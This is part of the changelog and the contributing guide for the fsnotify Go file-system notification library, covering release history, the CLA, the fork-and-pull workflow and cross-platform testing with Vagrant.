* kqueue: events for created directories
## v0.7.1 / 2012-07-14
* [Fix] for renaming files
## v0.7.0 / 2012-07-02
* [Feature] FSNotify flags
* [Fix] inotify: Added file name back to event path
## v0.6.0 / 2012-06-06
* kqueue: watch files after directory created (thanks @tmc)
## v0.5.1 / 2012-05-22
* [Fix] inotify: remove all watches before Close()
## v0.5.0 / 2012-05-03
* [API] kqueue: return errors during watch instead of sending over channel
* kqueue: match symlink behavior on Linux
* inotify: add `DELETE_SELF` (requested by @taralx)
* [Fix] kqueue: handle EINTR (reported by @robfig)
* [Doc] Godoc example [#1][] (thanks @davecheney)
## v0.4.0 / 2012-03-30
* Go 1 released: build with go tool
* [Feature] Windows support using winfsnotify
* Windows does not have attribute change notifications
* Roll attribute notifications into IsModify
## v0.3.0 / 2012-02-19
* kqueue: add files when watch directory
## v0.2.0 / 2011-12-30
* update to latest Go weekly code
## v0.1.0 / 2011-10-19
* kqueue: add watch on file creation to match inotify
* kqueue: create file event
* inotify: ignore `IN_IGNORED` events
* event String()
* linux: common FileEvent functions
* initial commit
[#79]: https://github.com/howeyc/fsnotify/pull/79
[#77]: https://github.com/howeyc/fsnotify/pull/77
[#72]: https://github.com/howeyc/fsnotify/issues/72
[#71]: https://github.com/howeyc/fsnotify/issues/71
[#70]: https://github.com/howeyc/fsnotify/issues/70
[#63]: https://github.com/howeyc/fsnotify/issues/63
[#62]: https://github.com/howeyc/fsnotify/issues/62
[#60]: https://github.com/howeyc/fsnotify/issues/60
[#59]: https://github.com/howeyc/fsnotify/issues/59
[#49]: https://github.com/howeyc/fsnotify/issues/49
[#45]: https://github.com/howeyc/fsnotify/issues/45
[#40]: https://github.com/howeyc/fsnotify/issues/40
[#36]: https://github.com/howeyc/fsnotify/issues/36
[#33]: https://github.com/howeyc/fsnotify/issues/33
[#29]: https://github.com/howeyc/fsnotify/issues/29
[#25]: https://github.com/howeyc/fsnotify/issues/25
[#24]: https://github.com/howeyc/fsnotify/issues/24
[#21]: https://github.com/howeyc/fsnotify/issues/21
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# Contributing
## Issues
* Request features and report bugs using the [GitHub Issue Tracker](https://github.com/fsnotify/fsnotify/issues).
* Please indicate the platform you are using fsnotify on.
* A code example to reproduce the problem is appreciated.
## Pull Requests
### Contributor License Agreement
fsnotify is derived from code in the [golang.org/x/exp](https://godoc.org/golang.org/x/exp) package and it may be included [in the standard library](https://github.com/fsnotify/fsnotify/issues/1) in the future. Therefore fsnotify carries the same [LICENSE](https://github.com/fsnotify/fsnotify/blob/master/LICENSE) as Go. Contributors retain their copyright, so you need to fill out a short form before we can accept your contribution: [Google Individual Contributor License Agreement](https://developers.google.com/open-source/cla/individual).
Please indicate that you have signed the CLA in your pull request.
### How fsnotify is Developed
* Development is done on feature branches.
* Tests are run on BSD, Linux, macOS and Windows.
* Pull requests are reviewed and [applied to master][am] using [hub][].
* Maintainers may modify or squash commits rather than asking contributors to.
* To issue a new release, the maintainers will:
* Update the CHANGELOG
* Tag a version, which will become available through gopkg.in.
### How to Fork
For smooth sailing, always use the original import path. Installing with `go get` makes this easy.
1. Install from GitHub (`go get -u github.com/fsnotify/fsnotify`)
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Ensure everything works and the tests pass (see below)
4. Commit your changes (`git commit -am 'Add some feature'`)
Contribute upstream:
1. Fork fsnotify on GitHub
2. Add your remote (`git remote add fork [email protected]:mycompany/repo.git`)
3. Push to the branch (`git push fork my-new-feature`)
4. Create a new Pull Request on GitHub
This workflow is [thoroughly explained by Katrina Owen](https://splice.com/blog/contributing-open-source-git-repositories-go/).
### Testing
fsnotify uses build tags to compile different code on Linux, BSD, macOS, and Windows.
Before doing a pull request, please do your best to test your changes on multiple platforms, and list which platforms you were able/unable to test on.
To aid in cross-platform testing there is a Vagrantfile for Linux and BSD.
* Install [Vagrant](http://www.vagrantup.com/) and [VirtualBox](https://www.virtualbox.org/)
* Setup [Vagrant Gopher](https://github.com/nathany/vagrant-gopher) in your `src` folder.
* Run `vagrant up` from the project folder. You can also setup just one box with `vagrant up linux` or `vagrant up bsd` (note: the BSD box doesn't support Windows hosts at this time, and NFS may prompt for your host OS password)
* Once setup, you can run the test suite on a given OS with a single command `vagrant ssh linux -c 'cd fsnotify/fsnotify; go test'`.
* When you're done, you will want to halt or destroy the Vagrant boxes.
Notice: fsnotify file system events won't trigger in shared folders. The tests get around this limitation by using the /tmp directory.
Right now there is no equivalent solution for Windows and macOS, but there are Windows VMs [freely available from Microsoft](http://www.modern.ie/en-us/virtualization-tools#downloads).
### Maintainers
Help maintaining fsnotify is welcome. To be a maintainer:
* Submit a pull request and sign the CLA as above.
* You must be able to run the test suite on Mac, Windows, Linux and BSD.
To keep master clean, the fsnotify project uses the "apply mail" workflow outlined in Nathaniel Talbott's post ["Merge pull request" Considered Harmful][am]. This requires installing [hub][].
All code changes should be internal pull requests.
Releases are tagged using [Semantic Versioning](http://semver.org/).
[hub]: https://github.com/github/hub
[am]: http://blog.spreedly.com/2014/06/24/merge-pull-request-considered-harmful/#.VGa5yZPF_Zs
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